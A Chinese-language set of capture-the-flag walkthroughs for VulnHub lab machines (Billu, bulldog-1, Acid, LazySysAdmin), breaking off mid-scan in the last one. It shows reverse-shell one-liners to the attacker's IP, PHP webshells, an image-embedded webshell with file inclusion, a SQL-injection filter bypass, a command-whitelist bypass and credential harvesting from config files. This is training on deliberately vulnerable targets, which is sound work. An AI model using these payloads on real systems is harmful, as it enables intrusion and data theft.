(3) 漏洞扫描:暴破的新网页,送进AWVS或APPScan扫漏洞;
(4) 手动挖掘:暴破的新页面,通过Firefox挂burp代理,在burp中观察Request和Response包,手动找漏洞;
(5) 查看每个网页的源码,看是否有提示;。
(6) 如得到用户名,密码,尝试登录ssh,如能连接上,无需反弹shell了。
步骤1:测试首页SQL注入
(1) 在用户名输入框输入 admin' or 'a'='a -- 密码随意,发现无法注入,出现js弹框Try again:
(2) 使用sqlmap进行post注入测试,命令:
sqlmap.py -u “http://192.168.64.161” --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms
mysql
sqlmap注入检测完成,结果无法注入,目前不知道系统对注入的过滤规则是什么,使用几个sqlmap的tamper测
试也未成功。暂时先不fuzz注入,看看暴破目录。
步骤2:windows使用DirBuster暴破目录,同时使用kali Linux的dirb暴破,为得到更多的暴破结果,并减少
暴破时间:
得到页面较多,test.php、add.php、in.php、c.php、index.php、show.php等,目录有:uploaded_images,
phpmy依次访问:
步骤3:利用文件包含漏洞获取php源码、passwd文件
(1) 访问test.php:页面提示file参数为空,需要提供file参数
测试文件包含: http://192.168.64.161?file=/etc/passwd 发现无法包含,跳转会首页。
(2) 在Firefox的Hackbar或者Brupsuit中,将get请求,变更为post请求,文件包含成功,获得passwd文件。
使用hackerbar post数据,可下载passwd文件:
使用burpsuit中选择Change request method,将get请求转换为post请求,获得passwd文件成功:
(3) 通过同样文件包含的方法,下载add.php、in.php、c.php、index.php、show.php、panel.php等文件,后面
可以访问文件的同时,审计文件的源代码。
(4) 查看passwd文件,发现1个id 1000的账号ica,ssh连接的用户名可以是ica或root:
步骤4:访问add.php、in.php页面和审计代码
add.php是一个上传界面,但是功能无法使用,查看源码文件发现只是个页面,没有后台处理代码。in.php是php
info信息。
步骤5:查看c.php源码
这是数据库连接文件,发现mysql连接用户名密码:
用户名:billu
密码:b0x_billu
数据库名:ica_lab
步骤6:通过得到的mysql密码登录phpmyadmin失败
(1) 通过dirb暴破出/phpmy目录,访问该目录到phpmyadmin登录页面:
使用mysql密码尝试登录phpmyadmin:可是无法登录。目前得到一个ssh用户是ica,mysql连接账号billu和密码
b0x_billu,尝试登录ssh和phpmyadmin都失败。
目前SQL注入绕过没有成功,得到的mysql连接密码无法登录phpmyadmin。
初步推测虚拟机故障:mysql没有正常启动,稍后打算单用户模式进入Ubuntu排查。
步骤7:继续暴破phpmy目录,文件包含phpmyadmin配置文件
(1) phpmyadmin的默认的配置文件是:config.inc.php。需要猜测路径,通过URL猜测路径默认
在/var/www/phpmy下面。
(2) 在火狐浏览器的Hackbar或者Burpsuit中,通过文件包含,读取config.inc.php文件,Hackbar的获取方法:
在配置文件中发现root密码:roottoor
(3) Burpsuit的获取方法:
步骤8:使用xshell ssh登录root账号,完成实验
步骤9:排查mysql故障
至此已经获得root权限,但是之前的phpmyadmin无法登录问题,怀疑mysql故障,root登录后,查看mysql状态
为:mysql stop/waiting,推测mysql被之前的高线程目录暴破、扫描导致故障,尝试重启mysql失败,决定重新
安装虚拟机。
虚机重新安装后,ssh登录,查看mysql运行状态正常,但是新虚机的IP变成:192.168.64.162。
步骤10:回到步骤6,通过得到的mysql密码登录phpmyadmin
用户名:billu,密码:b0x_billu,登录成功。
在 ica_lab 数据库的auth表中,找到web登录的用户名:biLLu,密码:hEx_it。
获取shell
步骤11:登录index首页,并获得cmd shell和反弹shell
(1) 使用web密码登录首页,大小写必须一样。
登录后是账号管理界面,账号是加勒比海盗的两位主角船长:杰克·斯帕罗和巴博萨船长。多写一句,本人更喜欢巴
博萨船长,一个像敌人一样的海盗朋友,幽默、勇敢、阴险狡诈、霸道野心、老谋深算。
两个账号的头像图片地址,在之前暴破出来: http://192.168.64.162/uploaded_images/
(2) 点击add user进入添加账号界面,这是一个图片上传,思路是利用图片上传和文件包含获得shell。
查看之前test文件包含获得的panel.php源码,发现panel.php存在本地文件包含漏洞:
下载一张 http://192.168.64.162/uploaded_images/ 中的图片jack.php,文本编辑器打开,在文件中间或末尾加
入一句话cmd命令马 <?php system($_GET['cmd']); ?> 将文件上传成功。
(3) 使用burp执行命令: post请求url中加入执行命令的参数: POST /panel.php?cmd=cat%20/etc/passwd;ls
post的body中包含cmd.jpg图片马: load=/uploaded_images/cmd.jpg&continue=continue
成功执行命令 cat /etc/passwd;ls
(4) 用bash反弹shell
命令:echo "bash -i >& /dev/tcp/192.168.64.1/4444 0>&1" | bash
需要将命令url编码:
在post的url中发送命令:
nc接收反弹shell成功:
步骤12:找一个可写权限目录,写入菜刀马
文件上传目录uploaded_images为写权限目录,进入该目录,写一个菜刀马: echo '<?php
eval($_POST['123456']);?>' >> caidao.php
菜刀连接成功,方便传文件。
提升权限
步骤13:查看内核、系统版本,寻找提权exp
(1) 查看系统内核版本,命令 uanme -a 和 cat /etc/issue
(2) 下载Ubuntu著名的本地提权漏洞exp:
https://www.exploit-db.com/exploits/37292/
步骤14:编译、提权
(1) 赋予执行权限
chmod 777 37292.c
(2) 编译exp
gcc 37292.c -o exp
(3) 执行exp,提权至root
思路总结
其他渗透思路
正常的思路有3条路线可以突破。
思路1:构造注入:从test的文件包含获得index.php源码,源码中可查看到过滤sql的方法,针对性构造sql注入,
登录后获取shell再提权。
(1) 审计index.php源码,发现以下过滤规则:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
str_replace的作用是将字符串\' 替换为空,因此构造SQL注入登录payload时,必须含有\'字符串,否则会报错。
urldecode的作用是将输入解码。
(2) 常见的利用注入登录的payload是' or 1=1 -- 修改这个在最后增加\',str_replace会将这个\'替换为空。
使用php在线调试工具,测试如下:
(3) 注入成功,payload是' or 1=1 -- \'
后面获取shell方法和上面实验相同。
思路2:暴破出phpmyadmin,文件包含从c.php获得mysql密码,登录phpmyadmin,再获取shell。
思路3:文件包含所有有权限查看的配置文件,从phpmyadmin配置文件获得root密码,然后ssh登录。该过程尽
管mysql故障,也可以完成。
踩到的坑
(1) mysql被高线程目录暴破和注入宕机:导致phpmyadmin有正确密码但无法登录,耗费较长时间。这是意外故
障。因为之前的2个工具同时目录暴破、sqlmap注入等线程过高,导致mysql死了。
(2) test.php文件包含漏洞利用,get不行,改为post试试。包含成功后,要把各个页面的源代码拿下来审计。
(3) index.php的SQL注入花费不少时间,后来发现,即使不用sql注入,也有其他道路可以完成,通过
phpmyadmin登录,绕过了注入。
(4) panel.php的文件包含漏洞,如果不认真关注源码,难以发现。使用test.php的文件包含,没能触发shell利用。
(5) 文件上传+文件包含拿shell是靶机常用的方式,遇到两个漏洞,可以熟练拿shell。
(6) 提权方法可以多关注主要的配置文件、数据库连接文件、用户的文件;也可以利用Ubuntu已知漏洞本地提权。
第三节 bulldog-1
靶机信息
下载链接
https://download.vulnhub.com/bulldog/bulldog.ova
靶机说明
牛头犬行业最近的网站被恶意的德国牧羊犬黑客破坏。这是否意味着有更多漏洞可以利用?你为什么找不到
呢?:)
这是标准的Boot-to-Root,目标是进入root目录并看到祝贺消息。
目标
获得root权限和flag。
运行环境
靶机:用VirtualBox启动虚机,导入镜像,网络连接方式设置为桥接到无线网卡。靶机启动后,自动获得IP:
172.20.10.7。
Windows攻击机:物理机,连接无线网卡,自动获取IP:172.20.10.5,安装有Burpsuit、nc、Python2.7、
DirBuster等渗透工具。
Kali攻击机:VMWare启动虚机,桥接到无线网卡,自动获取IP:172.20.10.6。攻击机二选一即可。
信息收集
ip发现
靶机启动后,自动获得IP,并且显示在启动完成后的界面,IP为:172.20.10.7。无需使用Nmap扫描C段发现IP。
端口和服务识别
使用nmap扫描1-65535全端口,并做服务指纹识别,扫描结果保存到txt文件,命令:
nmap -p1-65535 -A 172.20.10.7 -oN bulldog.txt
发现目标主机端口和服务如下:
端口 协议 后端服务
TCP 23 SSH open-ssl 7.2p2
TCP 80 HTTP WSGIServer Python 2.7.12
TCP 8080 HTTP WSGIServer Python 2.7.12
操作系统:Linux 3.2-4.9
漏洞挖掘
作者:红日安全
首发安全客:https://www.anquanke.com/post/id/106459
web漏洞思路:
(1) 查看每个网页的源码,看是否有提示;
(2) 暴破目录,用DirBuster,看是否有新网页,找新网页的漏洞;
(3) 找注入或框架漏洞:如果网页有输入框、URL参数,可AWVS扫描注入;如果web使用了某些CMS框架,只能找
框架的通用漏洞,通常扫描不到注入。
ssh利用思路:
(1) 如得到用户名,可以用就九头蛇或美杜莎暴破弱口令,但需要强大的字典且有弱口令。
(2) 如果得到web管理或系统账号,可以尝试连接ssh,如能连接上,无需反弹shell了。
步骤1:浏览网页,暴破目录
(1) 访问 http://172.20.10.7/ 进入首页:
首页有链接,点击进入notice页面,未发现有价值的信息。
(2) 使用DirBuster暴破目录,得到dev和admin目录:
(3) 访问 http://172.20.10.7/admin ,这是一个Django管理后台,需要用户名、密码登录,试了下没有常见弱口
令,先不尝试暴破,去看看其他页面。
(4) 访问 http://172.20.10.7/dev ,该页面的有价值信息非常多,主要信息:
新系统不在使用php或任何CMS,而是使用Django框架开发。这意味着不太可能再找到网页的注入漏洞,只能找
Django框架漏洞;网站不使用php,无需再找php漏洞或者写php木马;
新系统使用webshell管理,有一个Web-shell链接,点击可访问 http://172.20.10.7/dev/shell/ ,但是需要认证。
步骤2:破解hash
(1) 查看 http://172.20.10.7/dev 页面源码,会发现有每个Team Lead的邮箱和hash:
并且有明显的英文提示:We'll remove these in prod. It's not like a hacker can do anything with a hash。
(2) hash长度为40位,可以看出是sha1,即使不知道是哪种hash,也可以把每个hash值,到CMD5尝试碰撞解
密:
(3) 最终解密出2个hash值:
Back End: [email protected]
用户名:nick,密码:bulldog (CMD5可免费解密出来)
Database: [email protected]
用户名:sarah,密码:bulldoglover (CMD5需要收费解密出来)
步骤3:登录后台
(1) 使用解密出来的密码尝试登录扫描出来的23端口ssh都失败:
(2) 使用sarah、密码bulldoglover成功登录管理后台,发现没有编辑权限。
(3) 再去访问webshell页面,已通过认证,可执行命令,这是一个命令执行界面:
获取shell
步骤4:绕过白名单限制,执行系统命令:
webshell页面只能执行白名单的命令,尝试用;或者&&连接,执行多个命令:
ls是白名单命令,id是禁止命令,通过 ls && id 可成功执行id命令,达到绕过白名单限制执行命令。
步骤5:反弹shell:
(1) Windows攻击机开启nc监听: nc -lvnp 4444
(2) 直接执行 ls && bash -i >& /dev/tcp/172.20.10.5/4444 0>&1 失败,server报错500。
(3) 尝试多次bash反弹,最后使用echo命令先输出命令,再输入到bash,反弹shell成功:
echo "bash -i >& /dev/tcp/172.20.10.5/4444 0>&1" | bash
提升权限
步骤6:查看有哪些系统用户 cat /etc/passwd , 发现需要关注的用户有:bulldogadmin、django
步骤7:查找每个用户的文件(不显示错误) find / -user bulldogadmin 2>/dev/null
(1) 发现值得关注的文件有:一个是note,一个是customPermissionApp。
/home/bulldogadmin/.hiddenadmindirectory/note
/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
(2) 打开note文本文件:发现提示webserver有时需要root权限访问。
(3) 打开customPermissionApp,看上去是可执行文件,使用strings打印其中的可打印字符:
strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
note文件中提示执行该文件,可以获得root权限,但通过ls查看文件权限只有读权限,并无法执行。
步骤8:拼接root密码提权
(1) 观察文件中只有这些字符,疑似可能与密码相关,英文单词包括:SUPER、 ulitimate、PASSWORD、
youCANTget,这些都与最高权限账号相关,推测这是一个解谜题目:
最直接的组合是去掉H,变成一句通顺的英文句子:SUPERultimatePASSWORDyouCANTget
(2) su命令无法执行,提示:must be run from a terminal,上次Vulhub已经遇到过该问题,通过一句Python解
决:
python -c 'import pty;pty.spawn("/bin/bash")'
(3) 执行 sudo su - ,获得root权限,获取flag:
(4) 如果不解决无法su,还记得有23端口的ssh,也可以使用Xshell通过ssh登录,登录成功后执行sudo su - 提权并
获得flag
用户名: django
密码: SUPERultimatePASSWORDyouCANTget 不用猜测的密码,改了django再登录也可以。
sudo su提权,密码是: SUPERultimatePASSWORDyouCANTget
靶场思路回顾
1.目录暴破出dev和admin页面:
(1) 可暴破出dev页面,该页面源码里面有多个账号的用户名、邮箱、密码sha1值。该页面还链接到webshell命令
执行页面。
(2) 可暴破出admin后台页面,登录密码通过dev页面破解sha1得到。
2.绕过白名单限制,执行命令和反弹shell:绕过限制执行命令比较容易。反弹shell尝试多次使用bash反弹shell后
成功,没有尝试py shell。
3.搜索系统中id为1000以后的用户的文件,可以找到隐藏文件。
4.猜解root密码很艰难。
思路总结
难点和踩到的坑
(1) 发现和破解sha1:在dev页面查看源码,发现多个用户hash后,即使不知道是40位的sha1,也可以直接去
cmd5破解,系统会自动识别,可以破解出2个账号。如果用hashcat暴破sha1,需要强大的字段和较长的时间。
(2) 反弹shell应该有多种方法:第一个想到的是bash shell,也想到了python反弹shell。只尝试了通过bash反弹
shell,如果bash反弹不成功,可尝试往系统echo文件,赋予+x执行权限,执行脚本反弹。也可尝试Python是否能
够反弹shell。
(3) 发现隐藏的包含root密码的文件,通过搜索id为1000之后的用户文件,查看历史命令,或者查看目录,也可能
找到。
(4) 猜解root密码:这个是最难的,找到这个文件并不难,但是通过strings查看文件内容,并且拼接字符串为root
密码,感觉难度很大。
第四节 Acid
靶机信息
下载链接
https://download.vulnhub.com/acid/Acid.rar
靶机说明
Welcome to the world of Acid. Fairy tails uses secret keys to open the magical doors.
欢迎来到Acid的世界。童话故事需要使用秘密钥匙打开魔法门。
目标
作者:红日安全
首发安全客:https://www.anquanke.com/post/id/10546
获得root权限和flag。
运行环境
靶机配置:该虚拟机完全基于Web,提取rar并使用VMplayer运行vmx,网络连接方式设置为net,靶机自动
获取IP。
攻击机配置:同网段下有Windows攻击机,安装有Burpsuit、nc、Python2.7、DirBuster、御剑等渗透工
具。
信息收集
ip发现
启用Acid虚拟机,由于网络设置为net模式,使用Nmap扫描VMware Network Adapter VMnet8网卡的NAT网段,
即可找到虚机IP,扫描结果保存到txt文件,命令:
nmap -sP 192.168.64.0/24 -oN acid-ip.txt
获得目标ip 192.168.64.153
端口扫描
使用nmap扫描1-65535全端口,并做服务指纹识别,扫描结果保存到txt文件,命令:
nmap -p1-65535 -sV -oN acid-port.txt 192.168.64.153
目标主机的33447端口发现web服务,web服务器是Apache2.4.10,操作系统ubuntu。
http://192.168.64.153:33447 进入主页:
服务识别
只发现web服务和Apache,只能从web漏洞或者Apache漏洞入手(如有漏洞):
端口:Tcp 33447
底层服务:Apache2.4.10
操作系统:Ubuntu
漏洞挖掘的详细思路
web挖掘思路:
(1) 查看每个网页的源码,看是否有提示;
(2) 暴破目录,用御剑或DirBuster,看是否有新网页,找新网页的漏洞;
Apache挖掘思路:
(1) 寻找Apache2.4.10有无已知漏洞可利用:没有发现可直接利用的漏洞。
(2) 到www.exploit-db.com查询有无exp:没有找到exp。
(3) Nessus扫描一下主机漏洞:没有扫描出漏洞。
实在找不到漏洞:单用户模式进入Ubuntu,看源码吧。
步骤1:首先看主页源码,发现提示:0x643239334c6d70775a773d3d
0x是16进制编码,将值643239334c6d70775a773d3d进行ASCII hex转码,变成:d293LmpwZw==
发现是base64编码,再进行解码,得到图片信息 wow.jpg
这时可以根据经验在首页直接加目录打:/image/wow.jpg 或者 /images/wow.jpg 或者 /icon/wow.jpg 网站的图片
目录通常是这样命名。也可以利用dirbuster进行目录爆破,得到图片目录images。
访问 http://192.168.64.153:33447/images/wow.jpg 得到图片:
将图片保存到本地,用Notepad++打开,发现最下边有提示
将3761656530663664353838656439393035656533376631366137633631306434进行ASCII hex转码,得到
7aee0f6d588ed9905ee37f16a7c610d4,这是一串md5。
去cmd5解密,得到63425,推测是一个密码或者ID。
步骤2:使用Dirbuster进行目录暴破:
查看暴破结果:发现challenge目录,该目录下有cake.php、include.php、hacked.php,用Burpsuit挂上代理,
使用Firefox然后依次访问3个文件:
步骤3:访问cake.php,发现需要登录后才能访问:
该页面如果看页面title或者看burpsuit的Response返回值的,会发现有/Magic_Box目录存在,先看其他页面。
点击login会跳转到index.php登录页面,需要email和密码才能登录:
步骤4:访问include.php,这是一个文件包含漏洞页面:
在输入框中输入 /etc/passwd 测试存在文件包含,Burpsuit显示response包如下:
想文件包含拿shell,但没有文件上传点,之前发现的wow.jpg中无木马可包含。先继续看hacked.php。
步骤5:访问cake.php,需要输入ID,测试下之前从wow.jpg解密出来的数字:63425
然后,什么也没有发生,看来ID不对,或者需要先通过index页面输入email和密码登录。
步骤6:找注入,把发现的几个页面都送入AWVS扫描了漏洞,未发现注入。
步骤7:继续暴破发现的Magic_Box目录:发现low.php,command.php
步骤8:访问low.php是个空页面,访问command.php,发现命令执行界面:
可执行系统命令,输入192.168.64.1;id 查看burpsuit的response发现id命令执行成功。
获取shell
步骤9:利用php反弹shell。Windows开启nc,监听4444端口:
为避免转义和中断,在get、post请求中输入payload需要进行url编码。尝试bash反弹shell、nc反弹shell,如下
payload都失败:
bash -i >& /dev/tcp/192.168.64.1/4444 0>&1
nc -e /bin/bash -d 192.168.64.1 4444
通过php反弹shell成功,将如下payload进行URL编码后,在burp中发送:
php -r '$sock=fsockopen("192.168.64.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
nc成功接收反弹shelll:
但是无法执行su命令,回显su: must be run from a terminal 需要一个终端。没有想出办法,最终google了一
下,找到答案:用python调用本地的shell,命令:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
执行su成功:
提升权限
步骤10:查看有哪些的用户 cat /etc/passwd ,发现需要关注的用户有:acid,saman,root
步骤11:查找每个用户的文件(不显示错误) find / -user acid 2>/dev/null
发现/sbin/raw_vs_isi/hint.pcapng文件,这是一个网络流量抓包文件,将其拷贝的kali上,用Wireshark打开:
scp /sbin/raw_vs_isi/hint.pcapng [email protected]:/root/
只看TCP协议的包,发现saman的密码:1337hax0r
步骤12:su提权到saman、root,获得flag
再使用sudo -i 提权到root,密码同样是1337hax0r,获得位于root目录的flag.txt。
靶场思路回顾
作者的设计思路可参考国外的一篇渗透文章: http://resources.infosecinstitute.com/acid-server-ctf-
walkthroug h 主要突破点是:
1.两次目录暴破,第一次暴破出challenge,目录、cake.php、include.php、hacked.php,第二次暴破
Magic_Box目录发现command.php。
2.发现命令执行界面后,用php反弹shell,在http中传输需对payload进行url编码。
3.su提权需要一个终端,没有经验只能Google解决了。
4.提权的方法是通过查找已知用户的文件,发现其密码,未使用exp或msf提权。
思路总结
主要收获
1. 命令执行漏洞可使用php反弹shell, 以前都是用bash或nc。
2. su提权需要一个终端,使用Python解决。
3. 获得shell后,多多查找各个用户文件,可能有新发现。
踩到的坑
1. 文件包含漏洞,没找到利用方式,也找不到上传点,无法包含获得shell;
2. su提权需要一个终端,没有知识储备和经验,依靠高手指导和Google搜索解决。
3. index.php页面获得邮件用户名和密码的方法太冷门了,如果不是看国外的教程,自己无法想到。
4. 发现目录就暴破下,使用御剑默认字典不行,只能使用OWASP的暴破字典,目录暴破绕过了上面邮件用户名
和口令的登录,可以一路暴破到命令执行页面。
总之,在没有google搜索和他人的指导下,自己没能独立完成,后续需要开阔思路,多多练习。
第五节 LazySysAdmin: 1
靶机信息
下载链接
https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip
运行环境
Virtualbox (二选一)
Vnware Workstation player
通关提示
Enumeration is key
Try Harder
Look in front of you
Tweet @togiemcdogie if you need more hints
信息收集
ip发现
在内网主机探测中,可以使用netdiscover来进行。
netdiscover -i wlo1
端口扫描
使用masscan扫描
➜ evilk0 netdiscover -i wlo1
Currently scanning: 192.168.21.0/16 | Screen View: Unique Hosts
1 Captured ARP Req/Rep packets, from 1 hosts. Total size: 42
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.0.100 08:00:27:da:8a:ac 1 42 PCS Systemtechnik GmbH
masscan 192.168.0.100 -p 1-10000 --rate=1000
使用nmap扫描
nmap -T4 -A -v 192.168.0.100 -p 0-10000
➜ evilk0 masscan 192.168.0.100 -p 1-10000 --rate=1000
Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2018-01-31 12:53:27 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [10000 ports/host]
Discovered open port 3306/tcp on 192.168.0.100
Discovered open port 6667/tcp on 192.168.0.100
Discovered open port 22/tcp on 192.168.0.100
Discovered open port 139/tcp on 192.168.0.100
Discovered open port 80/tcp on 192.168.0.100
Discovered open port 445/tcp on 192.168.0.100
➜ evilk0 nmap -T4 -A -v 192.168.0.31 -p0-10000
Starting Nmap 7.50 ( https://nmap.org ) at 2018-01-31 20:55 CST
.................................
Scanning LazySysAdmin.lan (192.168.0.100) [10001 ports]
Discovered open port 80/tcp on 192.168.0.100
Discovered open port 22/tcp on 192.168.0.100
Discovered open port 139/tcp on 192.168.0.100
Discovered open port 445/tcp on 192.168.0.100
Discovered open port 3306/tcp on 192.168.0.100
Discovered open port 6667/tcp on 192.168.0.100
.................................
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
| 2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA)
| 256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)
|_ 256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (EdDSA)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-generator: Silex v2.2.7
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 4 disallowed entries
|_/old/ /test/ /TR2/ /Backnode_files/
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Backnode
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open mysql MySQL (unauthorized)
6667/tcp open irc InspIRCd
| irc-info:
| server: Admin.local
| users: 1.0
| servers: 1
| chans: 0
| lusers: 1
| lservers: 0
| source ident: nmap
| source host: 192.168.2.107
|_ error: Closing link: ([email protected]) [Client exited]
MAC Address: 08:00:27:DA:8A:AC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Uptime guess: 0.008 days (since Wed Jan 31 20:44:16 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| LAZYSYSADMIN<00> Flags: <unique><active>
| LAZYSYSADMIN<03> Flags: <unique><active>
| LAZYSYSADMIN<20> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: lazysysadmin
| NetBIOS computer name: LAZYSYSADMIN\x00
| Domain name: \x00
| FQDN: lazysysadmin
|_ System time: 2018-01-31T22:55:23+10:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol
TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms LazySysAdmin.lan (192.168.0.100)
NSE: Script Post-scanning.
Initiating NSE at 20:55
Completed NSE at 20:55, 0.00s elapsed
Initiating NSE at 20:55
Completed NSE at 20:55, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at
对比可发现masscan扫描端口的速度比nmap快很多,但是想要知道端口所运行服务的具体信息,就要用到nmap
了。根据扫描结果可知目标机开启了22、80、139、445、3306、6667这几个端口。
先从web入手,使用dirb来爆破目标存在的目录(dirb安装方法附在文章最后)
在工具扫描的同时,手工探测漏洞利用点。访问目标web服务,未发现什么,查看是否存在robots.txt发现4个目
录,并且存在目录遍历漏洞,但是并没用获取到可以利用的信息。
http://192.168.0.100/robots.txt
使用curl获取目标web的banner信息,发现使用的中间件是apache2.4.7,目标系统为Ubuntu。
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.19 seconds
Raw packets sent: 11045 (487.680KB) | Rcvd: 11034 (442.816KB)
➜ evilk0 ./dirb http://192.168.0.100 wordlists/common.txt -o /home/evilk0/Desktop/result.txt
用法:./dirb 目标url 用于爆破的目录 -o 输出文件
User-agent: *
Disallow: /old/
Disallow: /test/
Disallow: /TR2/
Disallow: /Backnode_files/
再来查看dirb扫描结果,发现目标文章用的是wordpress,且还有phpmyadmin。
wpscan扫描结果
➜ evilk0 curl -I 192.168.0.100
HTTP/1.1 200 OK
Date: Wed, 31 Jan 2018 13:01:20 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Sun, 06 Aug 2017 05:02:15 GMT
ETag: "8ce8-5560ea23d23c0"
Accept-Ranges: bytes
Content-Length: 36072
Vary: Accept-Encoding
Content-Type: text/html
➜ dirb222 cat /home/evilk0/Desktop/result.txt | grep "^+"
+ http://192.168.0.100/index.html (CODE:200|SIZE:36072)
+ http://192.168.0.100/info.php (CODE:200|SIZE:77257)
+ http://192.168.0.100/robots.txt (CODE:200|SIZE:92)
+ http://192.168.0.100/server-status (CODE:403|SIZE:293)
+ http://192.168.0.100/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)
+ http://192.168.0.100/phpmyadmin/index.php (CODE:200|SIZE:8262)
+ http://192.168.0.100/phpmyadmin/libraries (CODE:403|SIZE:300)
+ http://192.168.0.100/phpmyadmin/phpinfo.php (CODE:200|SIZE:8264)
+ http://192.168.0.100/phpmyadmin/setup (CODE:401|SIZE:459)
+ http://192.168.0.100/wordpress/index.php (CODE:301|SIZE:0)
+ http://192.168.0.100/wordpress/xmlrpc.php (CODE:405|SIZE:42)
+ http://192.168.0.100/javascript/jquery/jquery (CODE:200|SIZE:252879)
+ http://192.168.0.100/javascript/jquery/version (CODE:200|SIZE:5)
+ http://192.168.0.100/wordpress/wp-admin/admin.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-admin/index.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-content/index.php (CODE:200|SIZE:0)
+ http://192.168.0.100/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)
+ http://192.168.0.100/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)
+ http://192.168.0.100/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)
root@kali:~# wpscan http://192.168.0.100/wordpress
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
[+] URL: http://192.168.0.100/wordpress/
[+] Started: Thu Feb 1 01:37:20 2018
[!] The WordPress 'http://192.168.0.100/wordpress/readme.html' file exists exposing a version
number
[+] Interesting header: LINK: <http://192.168.0.100/wordpress/index.php?rest_route=/>;
rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.22
[!] Registration is enabled: http://192.168.0.100/wordpress/wp-login.php?action=register
[+] XML-RPC Interface available under: http://192.168.0.100/wordpress/xmlrpc.php
[!] Upload directory has directory listing enabled: http://192.168.0.100/wordpress/wp-
content/uploads/
[!] Includes directory has directory listing enabled: http://192.168.0.100/wordpress/wp-
includes/
[+] WordPress version 4.8.5 (Released on 2018-01-16) identified from meta generator, links opml
[+] WordPress theme in use: twentyfifteen - v1.8
[+] Name: twentyfifteen - v1.8
| Last updated: 2017-11-16T00:00:00.000Z
| Location: http://192.168.0.100/wordpress/wp-content/themes/twentyfifteen/
| Readme: http://192.168.0.100/wordpress/wp-content/themes/twentyfifteen/readme.txt
[!] The version is out of date, the latest version is 1.9
| Style URL: http://192.168.0.100/wordpress/wp-content/themes/twentyfifteen/style.css
| Theme Name: Twenty Fifteen
| Theme URI: https://wordpress.org/themes/twentyfifteen/
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty
Fifteen's simple,...
| Author: the WordPress team
| Author URI: https://wordpress.org/
[+] Enumerating plugins from passive detection ...
[+] No plugins found
[+] Finished: Thu Feb 1 01:37:24 2018
[+] Requests Done: 356
[+] Memory used: 37.98 MB
[+] Elapsed time: 00:00:04
enum4linux 192.168.0.100
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb
1 00:46:08 2018
==========================
| Target Information |
==========================
Target ........... 192.168.0.100
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=====================================================
